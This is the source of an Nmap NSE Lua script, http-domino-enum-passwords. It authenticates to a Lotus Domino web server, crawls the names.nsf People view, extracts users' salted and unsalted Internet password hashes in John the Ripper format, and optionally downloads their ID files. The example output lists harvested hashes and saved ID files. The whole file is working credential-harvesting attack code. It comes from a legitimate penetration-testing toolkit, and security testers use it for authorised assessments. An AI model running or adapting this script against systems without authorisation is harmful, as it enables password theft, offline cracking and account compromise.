355 lines
14 KiB
Lua
355 lines
14 KiB
Lua
local creds = require "creds"
|
|
local http = require "http"
|
|
local io = require "io"
|
|
local shortport = require "shortport"
|
|
local stdnse = require "stdnse"
|
|
local stringaux = require "stringaux"
|
|
local table = require "table"
|
|
|
|
description = [[
|
|
Attempts to enumerate the hashed Domino Internet Passwords that are (by
|
|
default) accessible by all authenticated users. This script can also download
|
|
any Domino ID Files attached to the Person document. Passwords are presented
|
|
in a form suitable for running in John the Ripper.
|
|
|
|
The passwords may be stored in two forms (http://comments.gmane.org/gmane.comp.security.openwall.john.user/785):
|
|
|
|
1. Saltless (legacy support?)
|
|
Example: 355E98E7C7B59BD810ED845AD0FD2FC4
|
|
John's format name: lotus5
|
|
2. Salted (also known as "More Secure Internet Password")
|
|
Example: (GKjXibCW2Ml6juyQHUoP)
|
|
John's format name: dominosec
|
|
|
|
It appears as if form based authentication is enabled, basic authentication
|
|
still works. Therefore the script should work in both scenarios. Valid
|
|
credentials can either be supplied directly using the parameters username
|
|
and password or indirectly from results of http-brute or http-form-brute.
|
|
]]
|
|
|
|
---
|
|
-- @usage
|
|
-- nmap --script http-domino-enum-passwords -p 80 <host> --script-args http-domino-enum-passwords.username='patrik karlsson',http-domino-enum-passwords.password=secret
|
|
--
|
|
-- @output
|
|
-- PORT STATE SERVICE REASON
|
|
-- 80/tcp open http syn-ack
|
|
-- | http-domino-enum-passwords:
|
|
-- | Information
|
|
-- | Information retrieved as: "Jim Brass"
|
|
-- | Internet hashes (salted, jtr: --format=DOMINOSEC)
|
|
-- | Jim Brass:(GYvlbOz2idzni5peJUdD)
|
|
-- | Warrick Brown:(GZghNctqAnJgyklUl2ml)
|
|
-- | Gill Grissom:(GyhsteeXTr75YOSwW8mc)
|
|
-- | David Hodges:(GZEJRHqJEVc5IZCsNX0U)
|
|
-- | Ray Langston:(GE18MGVGD/8ftYMFaVlY)
|
|
-- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj)
|
|
-- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl)
|
|
-- | Wendy Simms:(G6wooaElHpsvA4TPvSfi)
|
|
-- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp)
|
|
-- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM)
|
|
-- | Internet hashes (unsalted, jtr: --format=lotus5)
|
|
-- | Ada Lovelace:355E98E7C7B59BD810ED845AD0FD2FC4
|
|
-- | John Smith:655E98E7C7B59BD810ED845AD0FD2FD4
|
|
-- | ID Files
|
|
-- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id)
|
|
-- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id)
|
|
-- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id)
|
|
-- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id)
|
|
-- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id)
|
|
-- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id)
|
|
-- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id)
|
|
-- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id)
|
|
-- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id)
|
|
-- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id)
|
|
-- |
|
|
-- |_ Results limited to 10 results (see http-domino-enum-passwords.count)
|
|
--
|
|
--
|
|
-- @args http-domino-enum-passwords.path points to the path protected by
|
|
-- authentication. Default:"/names.nsf/People?OpenView"
|
|
-- @args http-domino-enum-passwords.hostname sets the host header in case of virtual hosting.
|
|
-- Not needed if target is specified by name.
|
|
-- @args http-domino-enum-passwords.count the number of internet hashes and id files to fetch.
|
|
-- If a negative value is given, all hashes and id files are retrieved (default: 10)
|
|
-- @args http-domino-enum-passwords.idpath the path where downloaded ID files should be saved
|
|
-- If not given, the script will only indicate if the ID file is donwloadable or not
|
|
-- @args http-domino-enum-passwords.username Username for HTTP auth, if required
|
|
-- @args http-domino-enum-passwords.password Password for HTTP auth, if required
|
|
|
|
--
|
|
-- Version 0.4
|
|
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
|
-- Revised 07/31/2010 - v0.2 - add support for downloading ID files
|
|
-- Revised 11/25/2010 - v0.3 - added support for separating hash-type <martin@swende.se>
|
|
-- Revised 04/16/2015 - v0.4 - switched to 'creds' credential repository <nnposter>
|
|
|
|
author = "Patrik Karlsson"
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
categories = {"intrusive", "auth"}
|
|
dependencies = {"http-brute", "http-form-brute"}
|
|
|
|
|
|
portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")
|
|
|
|
--- Checks if the <code>path</code> require authentication
|
|
--
|
|
-- @param host table as received by the action function or the name specified
|
|
-- in the hostname argument
|
|
-- @param port table as received by the action function
|
|
-- @param path against which to check if authentication is required
|
|
local function requiresAuth( host, port, path )
|
|
local result = http.get(host, port, "/names.nsf")
|
|
|
|
if ( result.status == 401 ) then
|
|
return true
|
|
elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
|
|
return true
|
|
end
|
|
return false
|
|
end
|
|
|
|
--- Checks if the credentials are valid and allow access to <code>path</code>
|
|
--
|
|
-- @param host table as received by the action function or the name specified
|
|
-- in the hostname argument
|
|
-- @param port as received by the action method
|
|
-- @param path the patch against which to validate the credentials
|
|
-- @param user the username used for authentication
|
|
-- @param pass the password used for authentication
|
|
-- @return true on valid access, false on failure
|
|
local function isValidCredential( host, port, path, user, pass )
|
|
-- we need to supply the no_cache directive, or else the http library
|
|
-- incorrectly tells us that the authentication was successful
|
|
local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
|
|
|
|
if ( result.status == 401 ) then
|
|
return false
|
|
end
|
|
return true
|
|
end
|
|
|
|
--- Retrieves all uniq links in a pages
|
|
--
|
|
-- @param body the html content of the received page
|
|
-- @param filter a filter to use for additional link filtering
|
|
-- @param links [optional] table containing previously retrieved links
|
|
-- @return links table containing retrieved links
|
|
local function getLinks( body, filter, links )
|
|
local tmp = {}
|
|
local links = links or {}
|
|
local filter = filter or ".*"
|
|
|
|
if ( not(body) ) then return end
|
|
for _, v in ipairs( links ) do
|
|
tmp[v] = true
|
|
end
|
|
|
|
for link in body:gmatch("<a href=\"([^\"]+)\"") do
|
|
-- use link as key in order to remove duplicates
|
|
if ( link:match(filter)) then
|
|
tmp[link] = true
|
|
end
|
|
end
|
|
|
|
links = {}
|
|
for k, _ in pairs(tmp) do
|
|
table.insert(links, k)
|
|
end
|
|
|
|
return links
|
|
end
|
|
|
|
--- Retrieves the "next page" path from the returned document
|
|
--
|
|
-- @param body the html content of the received page
|
|
-- @return link to next page
|
|
local function getPager( body )
|
|
return body:match("<form.+action=\"(.+%?ReadForm)&" )
|
|
end
|
|
|
|
--- Retrieves the username and passwords for a user
|
|
--
|
|
-- @param body the html content of the received page
|
|
-- @return full_name the full name of the user
|
|
-- @return password the password hash for the user
|
|
local function getUserDetails( body )
|
|
|
|
-- retrieve the details
|
|
local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
|
|
local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
|
|
local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
|
|
local id_file = body:match("<a href=\"(.-UserID)\">")
|
|
|
|
-- Remove the parenthesis around the password
|
|
http_passwd = http_passwd:sub(2,-2)
|
|
-- In case we have more than one full name, return only the last
|
|
full_name = stringaux.strsplit(";%s*", full_name)
|
|
full_name = full_name[#full_name]
|
|
|
|
return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
|
|
end
|
|
|
|
--- Saves the ID file to disk
|
|
--
|
|
-- @param filename string containing the name and full path to the file
|
|
-- @param data contains the data
|
|
-- @return status true on success, false on failure
|
|
-- @return err string containing error message if status is false
|
|
local function saveIDFile( filename, data )
|
|
local f = io.open( filename, "w")
|
|
if ( not(f) ) then
|
|
return false, ("Failed to open file (%s)"):format(filename)
|
|
end
|
|
if ( not(f:write( data ) ) ) then
|
|
return false, ("Failed to write file (%s)"):format(filename)
|
|
end
|
|
f:close()
|
|
|
|
return true
|
|
end
|
|
|
|
local function fail (err) return stdnse.format_output(false, err) end
|
|
|
|
action = function(host, port)
|
|
|
|
local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/names.nsf/People?OpenView"
|
|
local download_path = stdnse.get_script_args(SCRIPT_NAME .. '.idpath')
|
|
local vhost= stdnse.get_script_args(SCRIPT_NAME .. '.hostname')
|
|
local user = stdnse.get_script_args(SCRIPT_NAME .. '.username')
|
|
local pass = stdnse.get_script_args(SCRIPT_NAME .. '.password')
|
|
local pos, pager
|
|
local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{}
|
|
local chunk_size = 30
|
|
local max_fetch = tonumber(stdnse.get_script_args(SCRIPT_NAME .. '.count')) or 10
|
|
local http_response
|
|
local has_creds = false
|
|
-- authentication required?
|
|
if ( requiresAuth( vhost or host, port, path ) ) then
|
|
-- A user was provided, attempt to authenticate
|
|
if ( user ) then
|
|
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
|
|
return fail("The provided credentials were invalid")
|
|
end
|
|
else
|
|
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
|
for cred in c:getCredentials(creds.State.VALID) do
|
|
has_creds = true
|
|
if (isValidCredential(vhost or host, port, path, cred.user, cred.pass)) then
|
|
user = cred.user
|
|
pass = cred.pass
|
|
break
|
|
end
|
|
end
|
|
if not pass then
|
|
local msg = has_creds and "No valid credentials were found" or "No credentials supplied"
|
|
return fail(("%s (see http-domino-enum-passwords.username and http-domino-enum-passwords.password)"):format(msg))
|
|
end
|
|
end
|
|
end
|
|
|
|
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
|
|
if http_response.status and http_response.status ==200 then
|
|
pager = getPager( http_response.body )
|
|
end
|
|
if ( not(pager) ) then
|
|
if ( http_response.body and
|
|
http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then
|
|
return fail("Failed to authenticate")
|
|
else
|
|
return fail("Failed to process results")
|
|
end
|
|
end
|
|
pos = 1
|
|
|
|
-- first collect all links
|
|
while( true ) do
|
|
path = pager .. "&Start=" .. pos
|
|
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
|
|
|
|
if ( http_response.status == 200 ) then
|
|
local size = #links
|
|
links = getLinks( http_response.body, "%?OpenDocument", links )
|
|
-- No additions were made
|
|
if ( size == #links ) then
|
|
break
|
|
end
|
|
end
|
|
|
|
if ( max_fetch > 0 and max_fetch < #links ) then
|
|
break
|
|
end
|
|
|
|
pos = pos + chunk_size
|
|
end
|
|
|
|
for _, link in ipairs(links) do
|
|
stdnse.debug2("Fetching link: %s", link)
|
|
http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
|
|
local u_details = getUserDetails( http_response.body )
|
|
|
|
if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then
|
|
break
|
|
end
|
|
|
|
if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
|
|
stdnse.debug2("Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd)
|
|
-- Old type are 32 bytes, new are 20
|
|
if #u_details.passwd == 32 then
|
|
table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
|
|
else
|
|
table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd))
|
|
end
|
|
end
|
|
|
|
if ( u_details.idfile ) then
|
|
stdnse.debug2("Found ID file for user: %s", u_details.fullname)
|
|
if ( download_path ) then
|
|
stdnse.debug2("Downloading ID file for user: %s", u_details.full_name)
|
|
http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
|
|
|
|
if ( http_response.status == 200 ) then
|
|
local filename = download_path .. "/" .. stringaux.filename_escape(u_details.fullname .. ".id")
|
|
local status, err = saveIDFile( filename, http_response.body )
|
|
if ( status ) then
|
|
table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) )
|
|
else
|
|
table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
|
|
end
|
|
else
|
|
table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
|
|
end
|
|
else
|
|
table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
|
|
end
|
|
end
|
|
end
|
|
|
|
if( #hashes + #legacyHashes > 0) then
|
|
table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
|
|
end
|
|
|
|
if ( #hashes ) then
|
|
hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)"
|
|
table.insert( result, hashes )
|
|
end
|
|
if (#legacyHashes ) then
|
|
legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)"
|
|
table.insert( result, legacyHashes )
|
|
end
|
|
|
|
if ( #id_files ) then
|
|
id_files.name = "ID Files"
|
|
table.insert( result, id_files )
|
|
end
|
|
|
|
local result = stdnse.format_output(true, result)
|
|
|
|
if ( max_fetch > 0 ) then
|
|
result = result .. (" \n Results limited to %d results (see http-domino-enum-passwords.count)"):format(max_fetch)
|
|
end
|
|
|
|
return result
|
|
|
|
end
|